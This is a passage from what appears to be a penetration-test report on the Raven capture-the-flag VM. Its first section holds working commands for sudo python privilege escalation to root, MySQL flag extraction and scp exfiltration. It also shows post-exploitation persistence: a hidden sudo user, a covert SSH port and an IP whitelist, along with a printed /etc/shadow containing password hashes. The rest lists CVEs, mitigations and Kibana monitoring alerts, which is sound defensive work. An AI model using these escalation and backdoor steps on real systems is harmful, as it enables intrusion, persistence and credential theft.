    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/sbin
\:/bin
User steven may run the following commands on raven:
    (ALL) NOPASSWD: /usr/bin/python
```

Use python interactive shell command with sudo to escalate to Root

```
root@kali:/home/kali# ssh steven@192.168.56.104
steven@192.168.56.104's password:
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Dec 13 07:15:42 2020 from 192.168.56.1
$ python -c 'import pty;pty.spawn("/bin/sh")'
$ /bin/bash -i
steven@Raven:~$ sudo -l
Matching Defaults entries for steven on raven:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User steven may run the following commands on raven:
   (ALL) NOPASSWD: /usr/bin/python
steven@Raven:~$ python -c 'import pty;pty.spawn("/bin/sh")'
$ /bin/bash
steven@Raven:~$ sudo python -c 'import pty;pty.spawn("/bin/sh")'
# /bin/bash
root@Raven:/home/steven# id
uid=0(root) gid=0(root) groups=0(root)
root@Raven:/home/steven#
```

Locate flag 4

```
root@Raven:/# locate *flag*
/root/flag4.txt
/usr/include/linux/kernel-page-flags.h
/usr/include/linux/tty_flags.h
/usr/include/x86_64-linux-gnu/asm/processor-flags.h
/usr/include/x86_64-linux-gnu/bits/waitflags.h
/usr/lib/x86 64-linux-gnu/perl/5.20.2/bits/waitflags.ph
/usr/share/doc/apache2-doc/manual/da/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/de/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/en/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/es/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/fr/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/ja/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/ko/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/pt-br/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/tr/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/zh-cn/rewrite/flags.html
/usr/share/man/man3/fegetexceptflag.3.gz
/usr/share/man/man3/fesetexceptflag.3.gz
/var/lib/mysql/debian-5.5.flag
/var/www/flag2.txt
/var/www/html/wordpress/wp-includes/images/icon-pointer-flag-2x.png
/var/www/html/wordpress/wp-includes/images/icon-pointer-flag.png
```

15. MySQL - Flag 3

Find flag 3 in MySQL

(and again flag 4) in wp_posts in tables with show tables, export to tables.txt and isolate flags using cat and grep commands:

Show tables:

```
mysql> show tables

→ ;

+ Tables_in_wordpress |

+ wp_commentmeta
   wp_comments
   wp_links
   wp_options
   wp_postmeta
   wp_posts
   wp_term_relationships
   wp_term_taxonomy
   wp_terms
   wp_usermeta
   wp_users

+ 12 rows in set (0.00 sec)
```

Flags in wp_posts

```
mysql> select * from wp_posts;
mysql> select * from wp_posts; \T tables.txt;
```

```
Logging_to file 'tables.txt;'
```

16. SCP

Exfiltrate tables.txt with flags back to host machine.

Pull the file from the target machine from within the host using scp -r

```
root@kali:/home/kali# scp -r michael@192.168.56.104:/var/www/html/wordpress/tables.txt /home/kali/michael@192.168.56.104's password:
tables.txt
root@kali:/home/kali# ls tables.txt
tables.txt
root@kali:/home/kali#
```

17. Post-exploitation

Change root password (not advisable):

- Changing root password is possible, but would throw up big red flags of an attack.

```
root@Raven:/# sudo passwd
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
root@Raven:/#
```

Create a new super user

- with root privilege using visudo
- without home directory, using useradd,
- in sudo group with usermod,
- with login shell with usermod,
- with an obfuscated user name user "x23"

```
root@Raven:/home/steven# useradd x23
root@Raven:/home/steven# usermod -aG sudo x23
root@Raven:/home/steven# sudo passwd x23
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
root@Raven:/home/steven# visudo
root@Raven:/home/steven# usermod -s /bin/bash x23
root@Raven:/home/steven# id x23
uid=1003(x23) gid=1003(x23) groups=1003(x23),27(sudo)
```

Add x23 to sudoers.tmp with privilege to execute all.

```
GNU nano 2.2.6
                            File: /etc/sudoers.tmp
                                                                      Modified
Defaults
                secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:$
# Host alias specification
# User alias specification
# Cmnd alias specification
# User privilege specification
       ALL=(ALL:ALL)/ALL
root
       ALL=(ALL:ALL) ALL
# Allow members of group sudo to execute any command
       ALL=(ALL:ALL) ALL
%sudo
# See sudoers(5) for more information on "#include" directives:
#includedir /etc/sudoers.d
```

```
x23@Raven:/home$ id
uid=1003(x23) gid=1003(x23) groups=1003(x23),27(sudo)
x23@Raven:/home$
```

Confirmation: x23 has /etc/shadow access

```
x23@Raven:/$ sudo cat /etc/shadow root:$6$KV9fX8eq$NA12FZyBa5Zg7Kd8SwSCkMnJrcgk6uHY2QFFBnMjqqLFtgN6c/AE2mPSGoTOIOAMeNiJsAoJF0j7C.wJMRWZc1:18608:0:99999:7:::
daemon: *: 17755:0:99999:7:::
sys:*:17755:0:999999:7:::
sync:*:17755:0:99999:7:::
games:*:17755:0:99999:7:::
man:*:17755:0:999999:7:::
 mail:*:17755:0:99999:7:::
news:*:17755:0:99999:7:::
uucp:*:17755:0:999999:7:::
www-data:*:17755:0:99999:7:::
backup:*:17755:0:99999:7:::
list:*:17755:0:99999:7:::
irc:*:17755:0:99999:7:::
gnats:*:17755:0:99999:7:::
nobody: *:17755:0:99999:7:::
 systemd-timesync:*:17755:0:99999:7:::
systemd-network: *:17755:0:99999:7:::
systemd-resolve:*:17755:0:99999:7::
systemd-bus-proxy:*:17755:0:99999:7:::
Debian-exim:!:17755:0:99999:7:::
messagebus:*:17755:0:99999:7:::
statd:*:17755:0:99999:7:::
sshd:*:17755:0:99999:7:::
michael:$6$7yX3fY5l$ouY.e3IrkeLUvuK5r6Iw2XIUl9UW8NPXQeKT9IKgj.37tnY0bLkB31AcP/h.j/c7ENnoToHB5dNgpp38/FnZS1:17755:0:99999:7:::
 smmsp:*:17755:0:99999:7:::
steven: $$$E02N82Nr$XtF0bTljrXXp5jkG6kA/JtqqAquoy7KK3a1nMLHtUacpItshheyPtd4j36dildZ5JKl08T709D0EYtcDuY.6l/:17756:0:99999:7:::
sam:$6$CXZS4K/w$sRq6/6J5QqXsyMRJ8MZAhB0uBZw2dlR2Xm5MJphL6B0JP2/v9sqlry8RDedgFEazjcSnf0ZGDWl8CWCVk5m330:18608:0:99999:7:::
x23:$6$pq7906md$53tPYWeYmH4zt..GBi6/pPIh3QPwECZZSrbPo9L9ikWGkm7Im22qMDSh0ExgsfzpRmKnUeJkZFS.j1V7m18.z.:18608:0:99999:7:::
x23@Raven:/$
```

Open a port for re-entry - Port 52695

Create persistent obfuscated high number SSH port in /etc/ssh/sshd_config — port 52695 Added port 52695 to sshd_config, and restarted the sshd service

```
root@Raven:/etc/ssh# nano sshd_config
root@Raven:/etc/ssh# service sshd restart
root@Raven:/etc/ssh# 

# Package generated configuration file
# See the sshd_config(5) manpage for details
# What ports, IPs and protocols we listen for
Port 22
Port 52695
```

Login from new port and switch to root

```
root@kali:/home/kali# sudo ssh -p52695 x23@192.168.56.104 x23@192.168.56.104's password:

The programs included with the Debian GNU/Linux system are the exact distribution terms for each program are described individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the expermitted by applicable law.

Last login: Mon Dec 14 21:10:20 2020 from 192.168.56.1

Could not chdir to home directory /home/x23: No such file or x23@Raven:/$ sudo su [sudo] password for x23: root@Raven:/#
```

Confirm SSH port

Whitelisted attacker IP

Add sshd : <ip addr> to /etc/hosts.allow

```
# /etc/hosts.allow: list of hosts that are allowed to access the system.
# See the manual pages hosts_access(5) and hosts_options(5).
# Example: ALL: LOCAL @some_netgroup
# ALL: .foobar.edu EXCEPT terminalserver.foobar.edu
# If you're going to protect the portmapper use the name "rpcbind" for the
# daemon name. See rpcbind(8) and rpc.mountd(8) for further information.
# sshd : 192.168.1.90
```



VULNERABILITIES

1. Exploited Vulnerabilities:

1. Webserver directory listing - able to enumerate webserver directories, such as with gobuster.

Recommendation: See Mitigations 2.2 – Disable directory listing

2. WPScan brute forcing usernames – Michael and Steven.

Recommendation: Prevent brute force attacks by blocking repeat failures – use timeouts, IP blocking, limit authentication attempts, Obfuscate usernames.

3. Weak password:

Michael's password:

- a. username is password.
- b. password is a name, extremely weak and fails basic requirements.
- c. Easily brute forced <u>Steven's password</u>:
- d. Steven's hash easily cracked

Recommendation: See Mitigations 3.x – MFA, SSH keys, password strengthening/expiry/non-recycled, etc.

4. SSH. Entered both user accounts with SSH.

Recommendation: See Mitigations 6.x – Obfuscate port, filter port, SSH keys, password hardening, warning message, block brute force attacks, limit

authentication attempts, email alert root login/disable root login, update OpenSSH. Setup an IPS

<u>5.</u> Wp config.php easily accessed, containing MySQL login and password within webserver directory in Michael's account.

Recommendation: See Mitigations 5.4 – moving wp config.php

6. MySQL showed databases, one which included some user password hashes, with one that was easily cracked.


Recommendation: See Mitigations 4.5 white/blacklisting, 4.6 root account, 4.9 disable show databases, 4.12 file permissions

<u>7.</u> <u>Python root privilege</u> - One user has root privilege for an application that easily escalated to root <u>Python root privilege</u> access.

Recommendation: See Mitigations 1.16 – Principle of least privilege. Audit user privileges regularly.

2. General Vulnerabilities

Priority and Threat Level



8. Port 139 and port 445 - Samba - smb-vuln-regsvc-dos - Denial of Service.

https://nmap.org/nsedoc/scripts/smb-vuln-regsvc-dos.html

= Low

<u>9.</u> CWE-16 – Configuration vulnerability - Open ports can be a vulnerability – Port 22, 80, 111, 139, 445, 45851 are open -

https://cwe.mitre.org/data/definitions/16.html

= Low

```
PORT
          STATE SERVICE
                            VERSION
                            OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
22/tcp
          open
                             Apache httpd 2.4.10 ((Debian))
80/tcp
          open
                http
                            2-4 (RPC #100000)
111/tcp
          open
                rpcbind
                netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
          open
                netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
          open
445/tcp
                             1 (RPC #100024)
                status
5851/tcp open
```

3. Port 22

OpenSSH 6.7 (Debian) installed

For all the following vulnerabilities listed for Port 22, updating OpenSSH to the latest version – 8.3 will likely mitigate these vulnerabilities

10. CVE-2015-5600 – OpenSSH < 6.9- makes it easier for remote attackers to conduct brute-force attacks or cause a denial of service - https://vulners.com/cve/CVE-2015-5600</p>

CVSS Score - 8.5

The kbdint_next_device function in auth2-chall.c in sshd in OpenSSH through 6.9 does not properly restrict the processing of keyboard-interactive devices within a single connection, which makes it easier for remote attackers to conduct brute-force attacks or cause a denial of service (CPU consumption) via a long and duplicative list in the ssh -oKbdInteractiveDevices option, as demonstrated by a modified client that provides a different password for each pam element on this list.

11. CVE-2015-6564 / CWE-264 < 7.0- might allow local users to gain privileges by leveraging control of the sshd uid - https://vulners.com/cve/CVE-2015-6564

CVSS Score - 6.9

Use-after-free vulnerability in the mm_answer_pam_free_ctx function in monitor.c in sshd in OpenSSH before 7.0 on non-OpenBSD platforms might allow local users to gain privileges by leveraging control of the sshd uid to send an unexpectedly early MONITOR_REQ_PAM_FREE_CTX request.

12. CVE-2017-15906 / CWE-732- < 7.6 allows attackers to create zero-length files - https://vulners.com/cve/CVE-2017-15906

CVSS - 5.0

13. EDB-ID:45210- OpenSSH 2.3 < 7.4- Username Enumeration (PoC)-https://vulners.com/exploitdb/EDB-ID:45210

CVSS - 4.6

14. CVE-2016-10009 / EDB-ID:40963- OpenSSH < 7.4- agent Protocol Arbitrary Library Loading. Remote exploit - https://vulners.com/exploitdb/EDB-ID:40963</p>

CVSS - 4.6

15. CVE-2016-0777 / SSV:90447- OpenSSH 5.4- 7.1 - Information Leakhttps://vulners.com/seebug/SSV:90447

CVSS - 4.6

<u>16.</u> CVE-2016-0778- OpenSSH 5-7.1- https://vulners.com/cve/CVE-2016-0778 CVSS - 4.6

17. EDB-ID:40962- OpenSSH < 7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Domain Sockets- https://vulners.com/exploitdb/EDB-ID:40962

CVSS - 4.6

18. CVE-2015-5352- OpenSSH before < 6.9 – allows remote attackers to bypass intended access restrictions- https://vulners.com/cve/CVE-2015-5352

CVSS - 4.6

19. CVE-2016-0777- OpenSSH 5-7.1- allows remote servers to obtain sensitive information from process memory- https://vulners.com/cve/CVE-2016-0777

CVSS - 4.0

20. CVE-2015-6563- OpenSSH < 7.0- allows local users to conduct impersonation attacks by leveraging any SSH login access- https://vulners.com/cve/CVE-2015-6563

CVSS - 1.9

4. Port 80

Apache httpd 2.4.10 (Debian) installed

For all the following vulnerabilities listed for Port 80, updating Apache httpd to the latest version – 2.4.46 will likely mitigate these vulnerabilities

21. CVE-2017-3167 / CWE-287- Apache httpd 2.2 – 2.4.26- authentication requirements can be bypassed- https://vulners.com/cve/CVE-2017-3167

CVSS Score 7.5

<u>22.</u> CVE-2017-7679 / CWE-119- Apache httpd 2.2 – 2.2.33, 2.3-2.4.26- mod_mime can read one byte past the end of a buffer when sending a malicious Content-Type response header- https://vulners.com/cve/CVE-2017-7679

CVSS Score 7.5

23. CVE-2017-3169 / CWE-476- Apache httpd 2.2 – 2.2.33, 2.3-2.4.26- mod_ssl may dereference a NULL pointer when third-party modules call ap_hook_process_connection() during an HTTP request to an HTTPS port. - https://vulners.com/cve/CVE-2017-3169

CVSS Score - 7.5

24. CVE-2017-15715 / CWE-20- Apache httpd 2.4.0 to 2.4.29- the expression specified could match '\$' to a newline character in a malicious filename - https://vulners.com/cve/CVE-2017-15715

CVSS Score - 6.8

25. CVE-2018-1312 / CWE-287- Apache httpd 2.2.0 to 2.4.29- HTTP requests could be replayed across servers by an attacker without detection. https://vulners.com/cve/CVE-2018-1312

CVSS Score - 6.8

26. CVE-2017-9788 / CWE-200 / CWE-20- Apache httpd before 2.2.34 and 2.4.x before 2.4.27- leakage of potentially confidential information, and a segfault in other cases resulting in denial of service- https://vulners.com/cve/CVE-2017-9788

CVSS Score - 6.4

27. CVE-2019-0217 / CWE-362- Apache HTTP Server 2.4- 2.4.38- could allow a user with valid credentials to authenticate using another username-https://vulners.com/cve/CVE-2019-0217

CVSS Score – 6.0

28. CVE-2020-1927 / CWE-601- Apache HTTP Server 2.4.0 to 2.4.41- redirects configured with mod_rewrite that were intended to be self-referential might be fooled by encoded newlines and redirect instead to an an unexpected URL within the request URL. - https://vulners.com/cve/CVE-2020-1927

CVSS - 5.8

29. CVE-2019-10098 / CWE-601- Apache HTTP server 2.4.0 to 2.4.39- Redirects configured with mod_rewrite that were intended to be self-referential might be fooled by encoded newlines and redirect instead to an unexpected URL within the request URL.- https://vulners.com/cve/CVE-2019-10098

CVSS Score – 5.8

5. PHPMailer

Version 5.2.17 installed

For all the following vulnerabilities listed for PHPMailer,

updating to the latest version – 6.1.8 will likely mitigate these vulnerabilities

30. CVE-2016-10033 < 5.2.18 - Remote Code Execution (Bash)

The mailSend function in the isMail transport in PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a \" (backslash double quote) in a crafted Sender property.

= Critical

31. CVE-2017-5223 < 5.2.21 - Local File Disclosure

PHPMailer's msgHTML method applies transformations to an HTML document to make it usable as an email message body. One of the transformations is to convert relative image URLs into attachments using a script-provided base directory. If no base directory is provided, it resolves to /, meaning that relative image URLs get treated as absolute local file paths and added as attachments. To form a remote vulnerability, the msgHTML method must be called, passed an unfiltered, user-supplied HTML document, and must not set a base directory.

= Low

32. CVE 2016-10074, CVE 2016-10045, CVE 2016-10034, CVE 2016-10033 < 5.2.20 The mail transport (aka Swift_Transport_MailTransport) in Swift Mailer before 5.4.5 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a \" (backslash double

quote) in a crafted e-mail address in the (1) From, (2) ReturnPath, or (3) Sender header.

= Critical

33. CVE-2016-10033 < 5.2.18 - Remote Code Execution (Python) (PHP)

The mailSend function in the isMail transport in PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a \" (backslash double quote) in a crafted Sender property.

= Critical

<u>34.</u> CVE-2016-10045, CVE-2016-10033 < 5.2.20 - Remote Code Execution The isMail transport in PHPMailer before 5.2.20 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code by leveraging improper interaction between the escapeshellarg function and internal escaping performed in the mail function in PHP. NOTE: this vulnerability exists because of an incorrect fix for CVE-2016-10033.

= Critical

6. MySQL

Version 5.5.6 installed

For the following vulnerability listed for MySQL,

updating to the latest version – 8.0.22 will likely mitigate these vulnerabilities

35. CVE- 2017-3599 < 5.6.35 / < 5.7.17 - Integer Overflow

CVSS Score - 7.8

Vulnerability in the MySQL Server component of Oracle MySQL (subcomponent: Server: Pluggable Auth). Supported versions that are affected are 5.6.35 and earlier and 5.7.17 and earlier. Easily "exploitable" vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.0 Base Score 7.5 (Availability impacts). CVSS Vector:

(CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H). NOTE: the previous information is from the April 2017 CPU. Oracle has not commented on third-party claims that this issue is an integer overflow in sql/auth/sql_authentication.cc which allows remote attackers to cause a denial of service via a crafted authentication packet.



MITIGATIONS and HARDENING

1. General

- 1.1 Update OpenSSH to the latest version -8.3.
- 1.2 Update Apache HTTP to the latest version 2.4.46.
- 1.3 Update Samba to the latest version 4.13.3.
- 1.4 Monitor SSH.
- 1.5 Monitor /etc/shadow and /etc/passwd folder.
- 1.6 Monitor failed logins.
- 1.7 Monitor excessive packets sent.
- 1.8 Monitor open ports.
- 1.9 Disable service scan details and obfuscate information provided in scan reports
- 1.11 Block all incoming SSH connections, while whitelisting known IPs.
- 1.12 Setup an IPS such as Fail2Ban, to blacklist SSH connections after 10 failures.
- 1.13 Maintain a full backup in case of extreme compromise.



- 1.14 Remove unnecessary software and services.
- 1.15 Change default usernames and passwords; and reduce admin account privileges.
- 1.16 Principle of least privilege restrict privilege wherever possible.
- 1.17 Regularly update and patch OS and applications.
- 1.18 Implement logging and auditing.
- 1.19 Review the companies Security Posture and employee education.



2. Apache HTTP Webserver and Header hardening

2.1 Remove apache version and OS information from scans

- Append *httpd.conf* in the *Web_Server/conf* directory. Add *ServerSignature Off* to remove Apache version information.
- Limit server information to simply "Apache", by adding ServerTokens Prod to the same file.

From

Server: Apache/2.4.6 (CentOS)

To

Server: Apache

Create a non-privileged user and group to run apache.

2.2 Disable directory listing in *httpd.conf* in the *Web Server/conf* directory.

Add Options none under <Directory /opt/apache/htdocs>

This should result in *Forbidden to access* while trying to access the directory listing.

Forbidden

You don't have permission to access /test/ on this server.

2.3 Remove viewing permissions

Remove viewing permissions to *bin* and *conf* folders in the *web_server* directory with *chmod 750* (User can read, write, execute; Group can read, execute; Others have none).

Enable logging in mod_log_config

Enable logging in mod_log_config so that the web server collects general information, especially about visitors and errors.

2.4 Limit HTTP Request Methods to GET, HEAD, POST

Limit HTTP Request Methods to *GET*, *HEAD*, *POST* to limit attack options, in *httpd.conf* in the *Web_Server/conf* directory by adding <*LimitExcept GET POST HEAD>*deny from all </LimitExcept>


- 2.5 Enable SSL
- 2.6 Set HTTP Strict Transport Security
- 2.7 Set the 'Content-Security-Policy' header.
- 2.8 Set the 'X-XSS-Protection' header for older browsers.
- 2.9 Check the header information

Check the header information on a tool such as - https://tools.geekflare.com/http-headers-test

- 2.10 Use secure HTTP headers.
- 2.11 Hide your PHP information
- 2.12 Enable CSP, Content Security Policy
- 2.13 Enable HSTS, HTTP Strict Transport Security, forcing HTTPS for secure connections.
- 2.14 X-Content-Type-Options, prevents IME-type sniffing techniques, with nosniff
- 2.15 X-Frame-Options header

Set X-Frame-Options header to deny iframes. An old attack vector for clickjacking and stealing data.

2.16 Secure Session Cookies



3. Password hardening

- 3.1 Consider using MFA, multi-factor authentication, with hardware keys.
- 3.2 For SSH logins, require public and private SSH keys.
- 3.3 Setup minimum requirements for passwords min. 8 characters, upper and lowercase letters, numbers and special characters.
- 3.4 Passwords should expire regularly.
- 3.5 Passwords shouldn't be able to be recycled.
- 3.6 Force password failure timeouts to prevent brute force attacks.
- 3.7 Obfuscate usernames.



4. MySQL hardening

michael@target1:~\$ mysql -V mysql Ver 14.14 Distrib 5.5.60, for debian-linux-gnu (x86_64) using readli ne 6.3

4.1 Update MySQL to the latest version.

4.2 Remove the Test database

This is part of the installation process and can be accessed by all users by default; this is an attacker target.

4.3 Remove all anonymous accounts

These are automatically created at installation, entry point for attackers.

4.4 Change default port - 3306

Attackers can easily identify MySQL by port 3306, choose a random port.

4.5 Whitelist and blacklist access

Adjust hosts.deny and hosts.allow to control access to MySQL

4.6 MySQL should not be run as root

MySQL should only be accessed with user accounts, which allows for monitoring and logging.

4.7 Remove and disable the MySQL history file

Passwords and config may be exposed in ~/.mysql_history

4.8 Disable remote logins

Edit /etc/my.cnf with skip networking under [mysqld], this will stop MySQL from listening to TCP/IP ports.

4.9 Disable SHOW DATABASES

Add skip-show-databases under [mysqld] in /etc/my.cnf

4.10 LOAD DATA LOCAL INFILE command

This command allow users to read files, and allows for potential SQLI. In /etc/my.cnf, under [mysqld] add set-variable=local-infile=0

4.11 Change the root account name

Changing the name makes brute force impossible until the name is discovered.

4.12 Set the proper file permissions

/etc/my.cnf should be read only outside of root and data storage at /usr/local/mysql/data



5. WordPress hardening

- 5.1 Use a security plugin
- 5.2 Choose only reputable plugins and themes, beware of insecure plugins.
- 5.3 Update all plugins and themes regularly
- 5.4 Secure wp-config.php by moving it to a directory above the wordpress installation
- 5.5 Review file and directory permissions
- 5.6 Disable the file editor from the admin panel in WordPress.
- 5.7 Harden passwords and obfuscate usernames.
- 5.8 Make sure MySQL and PHP are up to date.
- 5.9 Keep a full website backup in case website is compromised.



6. SSH Hardening

6.1 Obfuscate SSH Port

Change the SSH port to obfuscate the port with <code>nano-w/etc/ssh/sshd_config</code>, and change the port to any, higher, uncommon port number.

Block all access to the SSH port and whitelist static IPs of trusted sources with nano -w /etc/hosts.deny and add the line - ALL : ALL

Allow access with nano -w /etc/hosts.allow and add sshd : <ip addr>

6.2 Filter Ports

Only allow necessary TCP ports for incoming traffic with nano -w /etc/csf/csf.conf

Under these options adjust the ports to match your config.

Allow incoming TCP ports

TCP_IN = "22,80,443 "

Allow outgoing TCP ports

TCP_OUT = "80,443"

6.3 Disable root login

Removing root login will automatically block a lot of potential brute force attacks. Use nano -w /etc/ssh/sshd_config and change this root login entry to no - PermitRootLogin no

If this entry doesn't exist, then add AllowUsers sectrails9

To allow certain users to login as root, their user and IP can be added AllowUsers sectrails9 root@<ip addr>

6.4 Use SSH keys

This is far more secure than using passwords and cant be brute forced. Create an SSH key with *ssh-keygen* and save it to your *home/user* directory as ~/.*ssh/id_rsa* with no passphrase. Doing this will allow faster login, automated process will now function. For higher security, add a passphrase to your private key, which means attackers still cant use the key if they discover it.

Having the private key installed, copy the public key into the target machine's ~/.ssh/authorized_keys directory.

6.5 Harden passwords and passphrases

Use the standard 8 characters, upper+lower case, numbers and special characters.

Timeout idle sessions


Set sessions logout automatically after an appropriate period of time. Use *nano -w /etc/ssh/sshd_config* to set *ClientAliveInterval 300* which is 5 minutes.

Disable empty passwords

Block the ability for users to not have a password. Use nano -w /etc/ssh/sshd_config and set PermitEmptyPasswords no

6.6 Set a scary warning when someone logs in

This is a deterrent, not a technical security function modifying /etc/motd and creating ascii art. For example



6.7 Block SSH brute force attacks automatically

There are multiple ways to do this. We already configured *deny.hosts* to block all incoming IPs. We can also use *fail2ban* or SSHGuard for example.

csf.conf – blocks IP after 5 failed attempts

The following will block an IP after 5 failed SSH connections.

We recommend you edit csf.conf with nano -w /etc/csf/csf.conf

Add or adjust these variables in this section:

#[*]Enable login failure detection of sshd connections

LF_SSHD = "5"

LF_SSHD_PERM = "1"

LF_SSHD set to "5" is the number of max failed connections before blocking the IP address.

LF_SSHD_PERM set to "1" makes this blocking permanent.

HPB - Highly Predictive Blocklisting

Activate Dshield and Blocklist.de. These connect to commonly blocked IPs and massively reinforce defence against brute force attackers.

Open /etc/csf/csf.blocklists and uncomment the following two entries:

#DSHIELD|86400|0|http://www.dshield.org/block.txt

#BDEALL|86400|0|http://lists.blocklist.de/lists/all.txt

Then restart the service:

csf -r

systemctl restart Ifd

6.8 Remove OpenSSH server on laptops and desktops

If the users are only working locally, such as in a home environment, then disabling OpenSSH will mitigate SSH attacks; port 22 would longer need to be open; root login would be disabled, etc. This service is generally only necessary for working remotely. Typically, OpenSSH is a highly vulnerable.

sudo apt-get remove openssh-server

6.9 Set a low max limit for authentication attempts

Run nano -w /etc/ssh/sshd_config and set the following to 3 failed password attempts MaxAuthTries 3

6.10 Create an email alert for a root login

Setting an email alert is a very direct way to monitor this kind of critical activity.

Use nano -w /root/.bashrc and add this at the end of the file:

echo 'ALERT - Root Shell Access (ServerName) on:' `date` `who` | mail -s "Alert: Root Access from `who | cut - $d'('-f2 \mid cut - d')' - f1$ " <u>your@email.com</u>

And then apt-get install mailx

6.11 Keep SSH updated

Regularly update the OpenSSH server with apt-get update openssh-server



7. Kibana Monitoring

7.1 Alerts

These alerts are useful for monitoring unusual CPU behaviour, unusual HTTP behaviour such as multiple error codes, and especially useful for monitoring enumeration scans such as nmap, and brute force attacks.

Name	State	Last fired	Last triggered
HTTP Request Size Monitor	✓ OK	5 minutes ago	a minute ago
CPU Usage Monitor	✓ OK		a minute ago
Excessive packets being sent	✓ OK	11 minutes ago	a minute ago
Excessive HTTP errors	✓ OK	a few seconds ago	a few seconds ago


7.2 Excessive Packets Being sent

This is useful for detecting nmap scans and brute force attempts

Current status for 'Excessive packets being sent'

Execution history Action statuses			
Last one hour ~			
Trigger time	State ↑		
2020-12-18T12:32:38+00:00	▶ Firing		
2020-12-12T02:02:53+00:00	▶ Firing		
2020-12-12T01:57:53+00:00	▶ Firing		
2020-12-12T01:52:53+00:00	▶ Firing		
2020-12-18T12:27:38+00:00	✓ OK		
2020-12-18T12:22:38+00:00	✓ OK		
2020-12-18T12:17:38+00:00	✓ OK		
2020-12-18T12:12:38+00:00	✓ OK		
2020-12-18T12:07:38+00:00	✓ OK		
2020-12-18T12:02:38+00:00	✓ OK		
Rows per page: 10 ∨			

7.3 Excessive HTTP errors



Current status for 'Excessive HTTP errors' **Execution history** Action statuses Last one hour Trigger time **State** 2020-12-18T13:03:53+00:00 ✓ OK 2020-12-18T13:02:53+00:00 ✓ OK 2020-12-18T13:01:53+00:00 ✓ OK 2020-12-18T13:00:53+00:00 ✓ OK 2020-12-18T12:59:53+00:00 ✓ OK 2020-12-18T12:58:52+00:00 ✓ OK 2020-12-18T12:57:53+00:00 ✓ OK 2020-12-18T12:56:53+00:00 ✓ OK 2020-12-18T12:55:53+00:00 ✓ OK ✓ OK 2020-12-18T12:54:53+00:00 Rows per page: 10 ∨

7.4 HTTP Request size monitor

Current status for 'HTTP Request Size Monitor'

Execution history Action statuses				
Last one hour ~				
Trigger time	State			
2020-12-18T12:20:38+00:00	▶ Firing			
2020-12-18T12:19:38+00:00	▶ Firing			
2020-12-18T12:18:38+00:00				
2020-12-18T12:17:38+00:00	✓ OK			
2020-12-18T12:16:37+00:00	✓ OK			
2020-12-18T12:15:37+00:00				
2020-12-18T12:14:38+00:00				
2020-12-18T12:13:38+00:00				
2020-12-18T12:12:38+00:00				
2020-12-18T12:11:38+00:00				

7.5 CPU Usage Monitor

Current status for 'CPU Usage Monitor'

Execution history		
Last 1 year V		
Trigger time	<u>State</u>	
2020-12-18T13:06:38+00:00	✓ OK	
2020-12-18T13:05:38+00:00	✓ OK	
2020-12-18T13:04:38+00:00	✓ OK	
2020-12-18T13:03:38+00:00	✓ OK	
2020-12-18T13:02:38+00:00	✓ OK	
2020-12-18T13:01:38+00:00	✓ OK	
2020-12-18T13:00:38+00:00	✓ OK	
2020-12-18T12:59:38+00:00	✓ OK	
2020-12-18T12:58:37+00:00	✓ OK	
2020-12-18T12:57:38+00:00	✓ OK	
Rows per page: 10 ∨		